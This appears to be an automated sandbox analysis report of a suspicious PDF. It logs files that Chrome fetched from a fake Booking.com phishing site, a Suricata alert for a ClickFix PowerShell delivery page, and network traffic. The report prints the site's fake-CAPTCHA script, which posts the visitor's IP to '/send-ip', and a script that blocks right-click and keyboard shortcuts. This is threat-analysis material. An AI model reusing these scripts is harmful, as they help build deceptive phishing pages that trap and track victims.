2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	169290
Entropy (8bit):	5.183926752751333
Encrypted:	false
SSDEEP:	768:lEFpFm7r2UBhZ/ntaFg7r2UBhZ/ntH7r2UBhZ/nt7FxwkBBWQitv7hZ/ntKSwkE5:WvVcrwqSbYl8Mg6
MD5:	F97AEEA08CDEB6E4FE2D65AD9AFB58FE
SHA1:	EA8D2860728437C237C439AB1391E459EF73A07B
SHA-256:	1ABB37D8A55D3CDEAA5BAE6705077BBD16AB2FCEC147CB2DBDE5A1650D1E62E2
SHA-512:	819D9306DA2454F98D18EEBC409C88C100F5F3219620B8D438D1976E99A0E8899EA07CE801E3AE28CE7B22C107D9D335E54E81481976DE5D131F5F544D824173
Malicious:	false
URL:	https://fixecondfirbook.info/
Preview:	.<!DOCTYPE html>.<html lang="en">..<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>B..king...m</title>. <style>. body {. margin: 0;. font-family: Arial, sans-serif;. background-color: #ffffff;. color: #000000;. }.. header {. background-color: #003580;. color: white;. padding: 10px 40px;. display: flex;. height: 55px;. justify-content: space-between;. align-items: center;. left: 0;. }.. header h1 {. margin: 0;. font-size: 20px;. }.. .content {. max-width: 400px;. margin: -20px auto;. background: white;. padding: 0px;. border-radius: 8px;. /* box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); /. / text-align: center; /. }.. .content2 {. max-width: 400px;. margin: 60px auto;. background: white;. padding: 0px;. border-radius: 8px;. / box-shadow: 0 2px 10px rgba(0,

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
URL:	https://fixecondfirbook.info/favicon.ico
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.7571268282533
Encrypted:	false
SSDEEP:	3:PouV7uJzhquHbtt6vYk2ZRMRJfHKERSAEtvxLrXZiLKY8KWMm9AbBK6c4NGL:hxuJzhqIzyYk+qRU4zEdxXZiqNM0+BKj
MD5:	F903C6BF520C04B0EF07D926AF78E263
SHA1:	DEF53C8C51418D8A6660E50CAACEE77A5AAA575A
SHA-256:	E7C6B9D5281C4D2A3A7AF6293A17FC1685460DC81DD4BD59063637FFDB190029
SHA-512:	3358D5F395818B834B2A5C5B4C8A1FF617BC842F5732C79235A3847806A411D5512161A968EDFF684CD29B37DD12E2A7ADACA54E1C289434BBBBD1BA41F8C785
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /send-ip</pre>.</body>.</html>.

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
URL:	https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HEIQL:kh
MD5:	A6FD0B162FB82DAB665FD0C44346F558
SHA1:	E097833D14D58DF26033A916160A935AAFAC37C9
SHA-256:	800C0A33850287FD505475C979F6482241E98EAA136732EA18AABA084B838E15
SHA-512:	13AD2E0568F7F6BD05524CFA1797DC0309E6CDB1AA98C818060DCB2ACA99958DAFAB4A2CF5AE1CEA49367CC4B7A91633DB889B35ACF15ECB85AF461F2F74D593
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnojw-vAgGkgRIFDQzGSa4=?alt=proto
Preview:	CgkKBw0MxkmuGgA=

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 190
Category:	downloaded
Size (bytes):	168
Entropy (8bit):	6.7197357652806184
Encrypted:	false
SSDEEP:	3:FttakNW0v1qHv3HjapKxfD/20PbHykg8TaKRUvKEivzCz4Ecssx2VSREvln:Xt5WaoekNj20P57TaKaHirPF2Vr9n
MD5:	3B84FB10F1DF8E1537F04D6C0F8EB5B6
SHA1:	E486E09F4BEC13056A3C39C48738C50C0983130B
SHA-256:	8675302B63BEDD118BCBB4527599F0FC76E387E96C626776FB7CCB63DA4F498A
SHA-512:	6FC2F7B6FE2EB51700421CC92C30137A3820208B3AA75E159D11FE7064FF152680D0D746ABACB5D0E98350ACA8872B2FCFC12B8E32CE0232E343E1FA505C3660
Malicious:	false
URL:	http://clintonmakes.com/favicon.ico
Preview:	..........M.M..0...R.K.plv..H.H.8x...d....t./M....&='.Zgp.....P...[.".9b*S....1..A...nr.....,.(.J[..:)B.$.......n.Y.a......R.509.}...l?.0.<y..gW.....\|....v....

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	586
Entropy (8bit):	4.370557641150247
Encrypted:	false
SSDEEP:	12:uSoUAjPUdbGVL+PSePqfowFGZciFanuacl:1kTibMC1qfNsCmauacl
MD5:	ED1D486217F2793D2EF42BE7E3832E34
SHA1:	90E1F5CA3AD5B15F83D073983CCC793AA10EC3D3
SHA-256:	87BEC5CD283117B0FAA07633479F3E64F476BC65E94EB1B306EDEED381B05DD1
SHA-512:	17BC69370C9B0B4FA0D536D6E188770F575CCA8ABCBCE515FE045483787DC01AB5D1F9023F79860ED55B6D6CFC7D54010E538A2299666972D58C6BB8A80EDFBD
Malicious:	false
URL:	https://fixecondfirbook.info/captchaHandler.js
Preview:	document.addEventListener('DOMContentLoaded', function() {. const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');. if (recaptchaCheckbox) {. recaptchaCheckbox.addEventListener('click', function() {. // ........ IP-...... .. ....... fetch('/send-ip', {. method: 'POST'. }).then(response => {. if (response.ok) {. console.log('');. } else {. console.error('');. }. });. });. }.}); .

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	874
Entropy (8bit):	4.562777845892514
Encrypted:	false
SSDEEP:	24:2z34mR0mRFgRmRCL3/mRLC4McHPXkniHqb8iHqmu:aLpfbgLegbM0nhYhmu
MD5:	E1B0667740A466F2ADE08864B8AAC4A8
SHA1:	3E79FF881EB857A030CDA726CBA4B73FDFEB9664
SHA-256:	D688F111F8DF6DADFE5505FDB923A2788311A2D1D70D4FE04688020E1B211A6D
SHA-512:	43E9400B5467A7DBFCBD89C9D08CBADE214DE5CC562A9DBF4D6A7F7216E5146C771E8BE90CF1F1C1E0106EA52F0F27CA7698D8190FB34603981CDCE50F26E4AD
Malicious:	false
Preview:	(function() {. function revertLanguageChange() {. if (document.documentElement.lang !== originalLang) {. document.documentElement.lang = originalLang;. }. }.. const originalLang = document.documentElement.lang;.. const observer = new MutationObserver(revertLanguageChange);. observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });.. document.addEventListener('contextmenu', function(event) {. event.preventDefault();. }, false);.. document.addEventListener('keydown', function(event) {. if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. }, false);.})();.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	874
Entropy (8bit):	4.562777845892514
Encrypted:	false
SSDEEP:	24:2z34mR0mRFgRmRCL3/mRLC4McHPXkniHqb8iHqmu:aLpfbgLegbM0nhYhmu
MD5:	E1B0667740A466F2ADE08864B8AAC4A8
SHA1:	3E79FF881EB857A030CDA726CBA4B73FDFEB9664
SHA-256:	D688F111F8DF6DADFE5505FDB923A2788311A2D1D70D4FE04688020E1B211A6D
SHA-512:	43E9400B5467A7DBFCBD89C9D08CBADE214DE5CC562A9DBF4D6A7F7216E5146C771E8BE90CF1F1C1E0106EA52F0F27CA7698D8190FB34603981CDCE50F26E4AD
Malicious:	false
URL:	https://fixecondfirbook.info/languageRevert.js
Preview:	(function() {. function revertLanguageChange() {. if (document.documentElement.lang !== originalLang) {. document.documentElement.lang = originalLang;. }. }.. const originalLang = document.documentElement.lang;.. const observer = new MutationObserver(revertLanguageChange);. observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });.. document.addEventListener('contextmenu', function(event) {. event.preventDefault();. }, false);.. document.addEventListener('keydown', function(event) {. if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. }, false);.})();.

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	586
Entropy (8bit):	4.370557641150247
Encrypted:	false
SSDEEP:	12:uSoUAjPUdbGVL+PSePqfowFGZciFanuacl:1kTibMC1qfNsCmauacl
MD5:	ED1D486217F2793D2EF42BE7E3832E34
SHA1:	90E1F5CA3AD5B15F83D073983CCC793AA10EC3D3
SHA-256:	87BEC5CD283117B0FAA07633479F3E64F476BC65E94EB1B306EDEED381B05DD1
SHA-512:	17BC69370C9B0B4FA0D536D6E188770F575CCA8ABCBCE515FE045483787DC01AB5D1F9023F79860ED55B6D6CFC7D54010E538A2299666972D58C6BB8A80EDFBD
Malicious:	false
Preview:	document.addEventListener('DOMContentLoaded', function() {. const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');. if (recaptchaCheckbox) {. recaptchaCheckbox.addEventListener('click', function() {. // ........ IP-...... .. ....... fetch('/send-ip', {. method: 'POST'. }).then(response => {. if (response.ok) {. console.log('');. } else {. console.error('');. }. });. });. }.}); .

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 526
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	7.110598860032035
Encrypted:	false
SSDEEP:	6:XtyPGgXdn/L/x3ArVZad32XfxRqI+XQcqa/uD+hWpXJy2QDnW/:XKXdnz/x3UU32vxwIjG/+ps3i/
MD5:	273A8E7CE16720012159CCEB076C49B7
SHA1:	3D5057731B1521631866D264662F645BAC8CFF95
SHA-256:	01CE43EC5F0C2288440121A3A84C1A44210912BC59BB0CA41ED7DA3D68ACCCE7
SHA-512:	916731902918128430C5C3B49C509F8A7DA63312445978CD59B2A9199AC34F95E007C8983A728F2918BF32B1C36F1F310415A14FBDDCF56F18F0D777AEB9ADA3
Malicious:	false
URL:	http://clintonmakes.com/215c/
Preview:	.............n. .._..xri3...%...Y:E..6...8...Kb..TE.....8....m..x..lW...R.%....T-.L..9......;.G.~.35v.'.!q.l.j%...)_.I.D}.".BI.p..J.........n..}.HC.}S\g...G.nX.&.....d.[.].H...3...9........6,bW].P.a........[q.....j..}..=z=.f.._...S....

Static File Info

General

File type:	PDF document, version 1.3, 2 pages
Entropy (8bit):	7.908913376750146
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	iRMbIIEjhP.pdf
File size:	76'749 bytes
MD5:	d7b0ac7ee79ecf1fe26e54c89c5c7245
SHA1:	62b6b13f70d30c215d5f30d8ec23ed28a9a36cc2
SHA256:	5339ccf37589e64cee452ccf84b5b689c52a49b75d0244edb20dad60e99422dd
SHA512:	dc055c60f99e3172246855742bb85edc77b108f42f09c46d1c5ad4aa5c6db3df7aebd3ae1ea7844e541e11f9acb888151706b846507717ccb1a38795f74924bc
SSDEEP:	1536:zgF+E2tCYj47yqVbMqZ83q/ErxbQDzKVjoVqp1cN3Sthk8GNTMjX9vN:zOQtx4OuM+8aOxcqVj3rtqSN
TLSH:	AF73D0738E4D4C8AECE343F96E527D4EB5BDF22617D0B03634748AA62D4185C9D3236A
File Content Preview:	%PDF-1.3.1 0 obj.<<./Count 2./Kids [3 0 R.5 0 R]./MediaBox [0 0 595.28 841.89]./Type /Pages.>>.endobj.2 0 obj.<<./OpenAction [3 0 R /FitH null]./PageLayout /OneColumn./Pages 1 0 R./Type /Catalog.>>.endobj.3 0 obj.<<./Annots [<</A <</S /URI /URI (https://c

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.3
Total Entropy:	7.908913
Total Bytes:	76749
Stream Entropy:	7.967237
Stream Bytes:	70362
Entropy outside Streams:	5.199464
Bytes outside Streams:	6387
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	37
endobj	37
stream	15
endstream	15
xref	1
trailer	1
startxref	1
/Page	2
/Encrypt	0
/ObjStm	0
/URI	4
/JS	0
/JavaScript	0
/AA	0
/OpenAction	1
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
35	0080609090804080	f47fda3792016278eaf846ff4c888124

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-16T17:20:01.109722+0100	2859486	ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound	1	104.21.94.195	443	192.168.2.5	61469	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 17:19:20.260713100 CET	49674	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:20.261245966 CET	49675	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:20.401407003 CET	49673	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:22.293629885 CET	443	49703	23.1.237.91	192.168.2.5
Jan 16, 2025 17:19:22.293838978 CET	49703	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:35.649230003 CET	49703	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:35.649332047 CET	49703	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:35.649713039 CET	49720	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:35.649765968 CET	443	49720	23.1.237.91	192.168.2.5
Jan 16, 2025 17:19:35.649833918 CET	49720	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:35.650343895 CET	49720	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:35.650362968 CET	443	49720	23.1.237.91	192.168.2.5
Jan 16, 2025 17:19:35.654259920 CET	443	49703	23.1.237.91	192.168.2.5
Jan 16, 2025 17:19:35.654275894 CET	443	49703	23.1.237.91	192.168.2.5
Jan 16, 2025 17:19:36.387108088 CET	443	49720	23.1.237.91	192.168.2.5
Jan 16, 2025 17:19:36.387181044 CET	49720	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:38.460813046 CET	49720	443	192.168.2.5	23.1.237.91
Jan 16, 2025 17:19:46.535263062 CET	49797	80	192.168.2.5	23.209.209.135
Jan 16, 2025 17:19:46.540122986 CET	80	49797	23.209.209.135	192.168.2.5
Jan 16, 2025 17:19:46.540260077 CET	49797	80	192.168.2.5	23.209.209.135
Jan 16, 2025 17:19:46.540605068 CET	49797	80	192.168.2.5	23.209.209.135
Jan 16, 2025 17:19:46.545425892 CET	80	49797	23.209.209.135	192.168.2.5
Jan 16, 2025 17:19:47.199028015 CET	80	49797	23.209.209.135	192.168.2.5
Jan 16, 2025 17:19:47.199049950 CET	80	49797	23.209.209.135	192.168.2.5
Jan 16, 2025 17:19:47.199132919 CET	49797	80	192.168.2.5	23.209.209.135
Jan 16, 2025 17:19:49.718215942 CET	61397	53	192.168.2.5	162.159.36.2
